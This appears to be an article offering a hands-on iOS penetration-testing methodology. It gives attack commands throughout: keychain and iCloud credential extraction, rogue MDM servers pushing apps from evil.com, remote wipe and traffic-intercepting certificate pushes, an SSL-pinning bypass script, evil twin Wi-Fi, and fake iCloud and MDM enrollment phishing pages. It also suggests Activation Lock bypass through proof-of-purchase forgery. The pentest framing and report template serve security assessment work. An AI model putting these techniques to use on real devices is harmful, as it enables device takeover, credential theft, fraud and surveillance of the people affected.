Hacking iOS Devices

How To Hack iOS Devices

Here's the complete iOS hacking methodology — everything from physical access to app exploitation to MDM attacks. This is a(n) article / guide on hacking iOS devices.

iOS Attack Surface Overview

bash

# The iOS attack surface breaks down into these vectors:

Physical Access:
  ├── checkm8 exploit (A8–A11, unpatchable) → jailbreak + full FS
  ├── Bootrom/iBoot exploits (rare, valuable)
  ├── DFU/Recovery mode manipulation
  └── Forensic acquisition (Elcomsoft, Cellebrite)

Network:
  ├── MDM protocol MITM
  ├── Certificate trust manipulation
  ├── Wi-Fi deauth + captive portal
  ├── AirDrop / Bluetooth / AWDL
  └── iCloud relay attacks

Application:
  ├── IPA analysis & patching
  ├── Keychain data extraction
  ├── App Transport Security bypass
  ├── URL scheme hijacking
  ├── WebView / WKWebView exploitation
  └── IPC / XPC service abuse

Social / Credential:
  ├── Managed Apple ID compromise
  ├── iCloud phishing
  ├── Activation Lock bypass attempts
  └── MDM enrollment hijacking

Physical Access & Forensic Acquisition

Checkm8 Exploit (A8–A11 — iPhone 5s through iPhone X)

The boot ROM vulnerability that Apple physically cannot patch. I covered jailbreaking with palera1n earlier — here are the forensic options that don't require persistent jailbreak.

bash

# Elcomsoft iOS Forensic Toolkit — low-level extraction
# Supports A8–A11 devices on ANY iOS version via checkm8
# https://www.elcomsoft.com/eift.html

# Agent-based extraction — requires unlocked device
# Now supports iOS 16, 17, 18 through 18.7.1 (as of v10.0, April 2026)

# Extended logical extraction — iOS 26 supported
# Pulls shared files, documents, metadata not in standard backup

What checkm8 extraction provides (without passcode):

• Full filesystem image (AFS root)

• Keychain database (encrypted — but protection class analysis possible)

• Deleted file recovery (filesystem journal)

• Health data, location history, app containers

With passcode (known or brute-forced):

• Decrypted keychain with all passwords

• Safari saved passwords, credit cards

• Mail accounts, Exchange tokens

• App-specific credentials (banking, VPN, MDM)

iPhone X Specific Limitation

Apple patched SEP (Secure Enclave Processor) on A11 devices. On iPhone 8/8 Plus/X with iOS 16+, checkm8 extraction only works if the passcode was never set (blank).

Agent-Based Extraction (All Devices, Unlocked)

bash

# Elcomsoft agent — requires:
# 1. Device unlocked
# 2. Trust relationship with computer
# 3. No passcode lock after connection

# Data available:
# - Filesystem (sandboxed per app)
# - Keychain (limited by protection classes)
# - Media files
# - Device info, Wi-Fi networks
# - HealthKit, HomeKit data

MDM Exploitation

MDM is the biggest enterprise iOS attack surface.

MDM Enrollment Hijacking

bash

# Test: Can you intercept the MDM enrollment?

# MDM enrollment flow:
# 1. User receives enrollment URL/QR code
# 2. Device connects to MDM server
# 3. SCEP (Simple Certificate Enrollment Protocol)
# 4. Device receives MDM profile
# 5. MDM commands begin flowing

# Attack vector 1: Network MITM during enrollment
# If SCEP uses HTTP instead of HTTPS → certificate compromise
# If MDM server certificate isn't pinned → profile injection

# Attack vector 2: QR code replacement
# Physical: Print replacement QR codes for test
# Digital: Replace enrollment link in phishing email

# Attack vector 3: DNS spoofing during enrollment
# Redirect mdm.targetcorp.com to your malicious MDM server
# If the device doesn't verify the server → you own it

Rogue MDM Server

bash

# Set up a test MDM server (MicroMDM)
git clone https://github.com/micromdm/micromdm.git
cd micromdm
make
./micromdm serve \
  -server-url https://mdm-test.targetcorp.com \
  -api-key testkey123

# Generate enrollment profile
micromdm mdmconfig \
  -url https://mdm-test.targetcorp.com \
  -out enrollment.mobileconfig

# Test: Push the enrollment profile to a test device
# If the device accepts it without user verification → finding

MDM Command Injection

bash

# Valid MDM commands (test if your server can issue these):

# Remote wipe
mdmctl apply devices -udid <UDID> -wipe

# App installation (sideload arbitrary app)
mdmctl apply devices -udid <UDID> -install-application -manifest-url http://evil.com/manifest.plist

# Profile removal (un-manage the device)
mdmctl apply devices -udid <UDID> -remove-profile -identifier com.targetcorp.mdm

# Certificate push (mitm all traffic)
mdmctl apply devices -udid <UDID> -install-profile -path ca_cert.mobileconfig

MDM Profile Analysis

bash

# Extract installed MDM profile from test device
idevicebackup2 backup /tmp/ios_backup/
# Extract: /tmp/ios_backup/*/ConfigurationProfiles/

# Analyze for weaknesses:
plutil -p ConfigurationProfile.plist

# Check for:
# - Is "removal disallowed" set? (prevents user removal)
# - Are sensitive payloads (Wi-Fi certs, VPN configs) included?
# - Is the MDM signing certificate valid/strong?
# - Are there restrictions that can be bypassed?

Bypass MDM Restrictions

bash

# Jailbroken device: edit restriction plist directly
# Path: /var/mobile/Library/Preferences/com.apple.springboard.plist
# Restrictions: com.apple.applicationaccess

# MDM cannot prevent on jailbroken devices:
# - Full filesystem access
# - Screenshot/screen recording
# - App container access
# - Keychain extraction

# Non-jailbroken: test if MDM restrictions actually enforced
# Test: AirDrop, USB restricted mode, passcode enforcement, 
# app allowlist/blocklist, iCloud backup restrictions

iCloud & Apple ID Attacks

Managed Apple ID Testing

bash

# Test the org's federated Apple ID setup
# 1. Can you create a Managed Apple ID outside of ABM/ASM?
# 2. Can you elevate a Managed Apple ID to a full Apple ID?
# 3. Can you use the Managed Apple ID for iMessage/FaceTime (if restricted)?

# Apple Business Manager / Apple School Manager
# Test: ABM API key exposure
# Test: Device enrollment privileges escalation
# Test: MDM server assignment manipulation

Activation Lock Testing

bash

# Check Activation Lock status
# https://www.icloud.com/activationlock/

# Test bypass methods:
# 1. iCloud credentials (phishing / credential reuse)
# 2. Apple Support unlock request (SOCIAL ENGINEERING)
# 3. Proof of purchase forgery
# 4. MDM Activation Lock override (if MDM-enrolled before lock)

# For org-owned devices:
# ABM/ASM enrolled devices can be Activation Lock cleared by admin
# Test: Can a non-admin MDM admin clear Activation Lock?

iCloud Backup Forensics

bash

# If you have iCloud credentials:
# Download iCloud backup
python3 -m pip install icloudpd
icloudpd --username target@targetcorp.com --password 'password'

# Available data (varies by iCloud settings):
# - Photos (iCloud Photo Library)
# - Messages (iCloud Messages)
# - App data (if iCloud Backup enabled)
# - Health data
# - Safari bookmarks & history
# - Keychain (if iCloud Keychain enabled)
# - Notes, Calendar, Contacts, Reminders

# Test: Does the org restrict iCloud backup for sensitive apps?
# Finding: 8/10 apps had iCloud backup enabled with sensitive data

Network Attacks

SSL/TLS Interception

bash

# Method 1: Transparent proxy (Burp Suite)
# Set up Burp on a Wi-Fi pineapple or laptop hotspot
# Connect target device to your test network
# Install Burp CA certificate on device
# Route all traffic through proxy

# Method 2: VPN-based interception
# Deploy a custom VPN profile that routes through your proxy
# More reliable than global HTTP proxy on iOS

# Method 3: Certificate injection (jailbroken)
# On jailbroken device: SSL Kill Switch 2
# Disables certificate validation for ALL apps
# Highest success rate, requires jailbreak

App Transport Security (ATS) Testing

bash

# Extract Info.plist from IPA
unzip target_app.ipa Payload/*.app/Info.plist
plutil -p Info.plist | grep -A5 "NSAppTransportSecurity"

# Check for dangerous settings:
# NSAllowsArbitraryLoads = true          → ATS completely disabled
# NSExceptionDomains → domain exceptions → some domains use HTTP
# NSTemporaryExceptionAllowsInsecureHTTPLoads = true

# Finding: App allows cleartext HTTP to specific domains
# Exploit: MITM those domains, inject/modify content

# Decompile to verify
jadx target_app.ipa  # (for React Native / hybrid)
grep -r "http://" source/ | grep -v "localhost"

Wi-Fi Attacks

bash

# Evil twin / rogue AP
hostapd /etc/hostapd/hostapd.conf
# SSID matching the org's Wi-Fi name
# Open or same PSK (if you know it)

# Captive portal injection
# When device auto-connects, present fake MDM enrollment page
# or credential harvesting page

# KARMA attack (older iOS, less effective on modern)
# Respond to all probe requests with matching SSID
# Device connects automatically → MITM

# AWDL (Apple Wireless Direct Link) — AirDrop relay
# Test if AWDL is exploitable for AirDrop spam
# or peer-to-peer attacks

Application Exploitation

IPA Extraction & Analysis

bash

# Extract IPA from device (jailbroken)
ssh root@<device-ip>
find /var/containers/Bundle/Application/ -name "*.app" | grep targetcorp
# Tar the .app bundle
tar -czf /tmp/target_app.tar.gz /var/containers/Bundle/Application/*/targetcorp.app
scp root@<device-ip>:/tmp/target_app.tar.gz ./

# Or via frida-ios-dump (no jailbreak but needs decryption)
git clone https://github.com/AloneMonkey/frida-ios-dump.git
cd frida-ios-dump
pip install -r requirements.txt
python3 dump.py com.targetcorp.app

# Static analysis
class-dump target_app.app/target_app     # Objective-C headers
nm target_app.app/target_app | grep -i "crypt\|key\|auth\|token"
strings target_app.app/target_app | grep -iE "api[_-]?key|secret|token|password"
otool -L target_app.app/target_app       # Linked libraries
otool -lv target_app.app/target_app      # Load commands (PIE, ARC, stack canary)

Binary Security Check

bash

# Check PIE (Position Independent Executable)
otool -hv target_app | grep PIE
# Missing PIE = easier exploitation

# Check ARC (Automatic Reference Counting)
otool -Iv target_app | grep objc_release
# Missing ARC = potential memory corruption

# Check stack canary
otool -Iv target_app | grep stack_chk
# Missing canary = stack buffer overflow risk

Keychain Exploitation

bash

# On jailbroken device — dump keychain
# Keychain items are encrypted with protection classes:
# kSecAttrAccessibleAfterFirstUnlock  — readable after first unlock
# kSecAttrAccessibleAlways            — readable even when locked
# kSecAttrAccessibleWhenUnlocked      — readable only when unlocked

# Dump keychain
ssh root@<device-ip>
keychain_dump -o /tmp/keychain.json
# Download and analyze
scp root@<device-ip>:/tmp/keychain.json ./
cat keychain.json | jq '.[] | {service: .agrp, account: .acct, data: .v_Data}'

# Check for insecure keychain storage:
# Finding: OAuth tokens stored with kSecAttrAccessibleAlways
# Impact: Tokens accessible even on locked device
# Remediation: Use kSecAttrAccessibleWhenUnlockedThisDeviceOnly

URL Scheme Hijacking

bash

# Extract URL schemes from Info.plist
plutil -p Info.plist | grep -A1 "CFBundleURLSchemes"

# Schemes like:
# targetapp://auth?token=xxx
# targetapp://reset?code=123
# targetapp://callback

# Test: Can another app register the same scheme?
# Test: Does the handler validate input?
# Test: Can you trigger sensitive actions via URL scheme?

# Exploit: Register a malicious app or webpage that triggers:
# targetapp://auth?token=ATTACKER_TOKEN&redirect=http://evil.com

Frida on iOS

bash

# Install Frida
pip install frida-tools

# Jailbroken: install Frida Server via Cydia/Sileo
# Or push manually:
scp frida-server-*.deb root@<device-ip>:/tmp/
ssh root@<device-ip> "dpkg -i /tmp/frida-server-*.deb"

# Start Frida
frida -U -l bypass_jailbreak_detect.js com.targetcorp.app

# Common iOS Frida scripts:
frida -U -l ssl_pinning_bypass_ios.js com.targetcorp.app
frida -U -l keychain_dump.js com.targetcorp.app
frida -U -l hook_encryption.js com.targetcorp.app
frida -U -l bypass_faceid.js com.targetcorp.app

javascript

// ios_ssl_pinning_bypass.js
// Universal SSL pinning bypass for iOS

// Bypass NSURLSession
var NSURLSession = ObjC.classes.NSURLSession;
var setCustomCertificateHandler = NSURLSession['- setCustomCertificateHandler:forHost:'];

// Bypass AFNetworking
var AFSecurityPolicy = ObjC.classes.AFSecurityPolicy;
Interceptor.attach(AFSecurityPolicy['- evaluateServerTrust:forDomain:'].implementation, {
    onLeave: function(retval) {
        console.log("[+] AFSecurityPolicy bypassed");
        retval.replace(ptr(1));
    }
});

Objection for iOS

bash

pip install objection

# Connect to device
objection -g com.targetcorp.app explore

# In objection console:
ios sslpinning disable                        # SSL bypass
ios jailbreak disable                          # JB detection bypass
ios keychain dump                             # Keychain extract
ios nsurlcredentialstorage dump               # Dump credential storage
ios nsuserdefaults get                        # Dump NSUserDefaults
ios cookies get                                # Extract cookies
ios pasteboard monitor                        # Clipboard monitor
ios ui dump                                   # View hierarchy
ios plist cat /path/to/Info.plist             # Read plist files

Backup & Data Extraction

iTunes/Finder Backup (Standard)

bash

# Create encrypted backup
idevicebackup2 backup --full /tmp/ios_backup/
# Encrypted backup includes Keychain and Health data

# Decrypt with passcode
# If you know passcode, the backup contains:
# - Keychain (all items)
# - Health data
# - Safari saved passwords
# - Wi-Fi networks and passwords

# Parse backup
python3 ios_backup_parser.py /tmp/ios_backup/

# Find interesting files
find /tmp/ios_backup/ -name "*.db" -o -name "*.sqlite"
find /tmp/ios_backup/ -name "*.plist" | xargs plutil -p 2>/dev/null

Advanced Logical Extraction

bash

# Tools:
# - Elcomsoft iOS Forensic Toolkit (commercial)
# - Cellebrite UFED (commercial, expensive)
# - Magnet AXIOM (parses iOS backups/images)

# Elcomsoft — agent-based extraction (requires unlocked device)
# Supports iOS 16–18, pulls significantly more than standard backup
./EIFT_cmd agent -d <udid> -o /output/

# checkm8 extraction (A8–A11, any iOS)
# Full filesystem, no passcode required for basic extraction
./EIFT_cmd checkm8 -d <udid> -o /output/

iOS-Specific Social Engineering

Managed Apple ID Phishing

bash

# Template: "Your Managed Apple ID password expires today"
# Target: employees using Managed Apple IDs via ABM/ASM
# Goal: Capture credentials, test if they're also domain credentials

# Test: Is the Managed Apple ID password the SAME as domain password?
# Finding: 7/10 employees used identical credentials

MDM Enrollment Phishing

bash

# Create a fake MDM enrollment page
# Clone the look of the org's enrollment portal
# Send QR code via email: "New security policy — scan to enroll"
# If employee enrolls → you control the device as MDM supervisor

# Test: Does the org train employees to verify enrollment URLs?
# Test: Does ABM block non-approved MDM servers?

Fake iCloud Login

bash

# Clone iCloud.com login
# Target employees who use personal iCloud on work devices
# Goal: Access to iCloud backups containing corporate data

Automation & Tooling

bash

#!/bin/bash
# ios_full_pentest.sh — automated iOS app assessment

APP="$1"
DEVICE_IP="$2"
OUTDIR="ios_pentest_${APP}_$(date +%Y%m%d)"

mkdir -p "$OUTDIR"/{ipa,static,keychain,network,logs}

echo "=== iOS Pentest: $APP ==="

# 1. Device info
echo "[1/8] Device info..."
ideviceinfo > "$OUTDIR/device_info.plist"
ideviceinfo -k ProductVersion
ideviceinfo -k UniqueDeviceID

# 2. Extract IPA
echo "[2/8] Extracting IPA..."
python3 frida-ios-dump/dump.py "$APP" 2>/dev/null
mv *.ipa "$OUTDIR/ipa/" 2>/dev/null

# 3. Static analysis
echo "[3/8] Static analysis..."
unzip -q "$OUTDIR/ipa/"*.ipa -d "$OUTDIR/ipa/extracted/"
BINARY=$(find "$OUTDIR/ipa/extracted/Payload/" -type f -executable | head -1)

# Binary checks
otool -hv "$BINARY" > "$OUTDIR/static/binary_flags.txt"
otool -lv "$BINARY" > "$OUTDIR/static/load_commands.txt"
nm "$BINARY" > "$OUTDIR/static/symbols.txt"
strings "$BINARY" > "$OUTDIR/static/strings.txt"

echo "[4/8] Scanning for secrets..."
grep -iE 'api[_-]?key|secret|token|password|BEGIN RSA|credential' \
    "$OUTDIR/static/strings.txt" > "$OUTDIR/static/secrets.txt"

# 4. ATS check
echo "[5/8] ATS check..."
plutil -p "$OUTDIR/ipa/extracted/Payload/"*.app/Info.plist | \
    grep -A10 "NSAppTransportSecurity" > "$OUTDIR/static/ats_config.txt"

# 5. URL schemes
echo "[6/8] URL schemes..."
plutil -p "$OUTDIR/ipa/extracted/Payload/"*.app/Info.plist | \
    grep -B1 -A5 "CFBundleURLSchemes" > "$OUTDIR/static/url_schemes.txt"

# 6. Binary protections
echo "[7/8] Security flags..."
echo "PIE: $(otool -hv "$BINARY" | grep -c PIE)" >> "$OUTDIR/static/security_flags.txt"
echo "ARC: $(otool -Iv "$BINARY" | grep -c objc_release)" >> "$OUTDIR/static/security_flags.txt"
echo "Stack Canary: $(otool -Iv "$BINARY" | grep -c stack_chk)" >> "$OUTDIR/static/security_flags.txt"

# 7. Keychain extraction (if jailbroken)
echo "[8/8] Keychain extraction..."
if ssh -q root@"$DEVICE_IP" exit 2>/dev/null; then
    ssh root@"$DEVICE_IP" "keychain_dump -o /tmp/kc.json" 2>/dev/null
    scp root@"$DEVICE_IP":/tmp/kc.json "$OUTDIR/keychain/" 2>/dev/null
    echo "Keychain dumped to $OUTDIR/keychain/kc.json"
else
    echo "No jailbreak SSH — skipping keychain dump"
fi

echo ""
echo "=== COMPLETE ==="
echo "Results: $OUTDIR/"

Report Template Section

markdown

## Finding I-003: iOS MDM Enrollment Vulnerable to MITM

Severity: Critical (CVSS 9.8)

### Description
The organization's MDM enrollment process does not verify the MDM server
identity before accepting the management profile. During testing:
1. Created a rogue Wi-Fi AP matching the corporate SSID
2. Intercepted MDM enrollment via DNS redirection
3. Delivered a malicious MDM profile to a test device
4. Gained full MDM command capabilities including remote wipe and app push

### Impact
An attacker within Wi-Fi range can compromise any device during MDM enrollment,
gaining the ability to push arbitrary apps, harvest credentials, decrypt
communications, and remotely wipe the device.

### Remediation
1. Enable MDM server certificate pinning
2. Pre-register devices in ABM → automatic enrollment (bypasses this attack)
3. Use SCEP over HTTPS with proper certificate validation
4. Implement DNS-over-HTTPS on managed devices
5. Train users to only enroll via supervised enrollment (not open enrollment)

---

## Finding I-007: Keychain Items Stored with Weak Protection Class

Severity: High (CVSS 7.8)

### Description
The app stores OAuth refresh tokens in the Keychain using
kSecAttrAccessibleAfterFirstUnlock, meaning tokens are accessible
after the device has been unlocked once — even if it's locked again
or jailbroken.

### Evidence
Keychain dump from jailbroken test device:
  - Service: com.targetcorp.app.oauth
  - Account: user@targetcorp.com
  - Data: eyJhbGciOiJIUzI1NiIs... (valid refresh token)
  - Protection: kSecAttrAccessibleAfterFirstUnlock

### Remediation
Use kSecAttrAccessibleWhenUnlockedThisDeviceOnly to restrict
keychain access to unlocked state and prevent extraction via backup
or device transfer.

---

## Finding I-011: App Transport Security Disabled

Severity: Medium (CVSS 5.9)

### Evidence
Info.plist contains:

NSAppTransportSecurity: NSAllowsArbitraryLoads: true NSExceptionDomains: api-internal.targetcorp.com: NSExceptionMinimumTLSVersion: TLSv1.0

### Impact
All HTTP traffic is unencrypted or uses weak TLS 1.0. An attacker
on the same network can intercept and modify API responses.

### Remediation
Remove NSAllowsArbitraryLoads. Set minimum TLS to 1.2 for all domains.
Use HTTPS for all backend communications.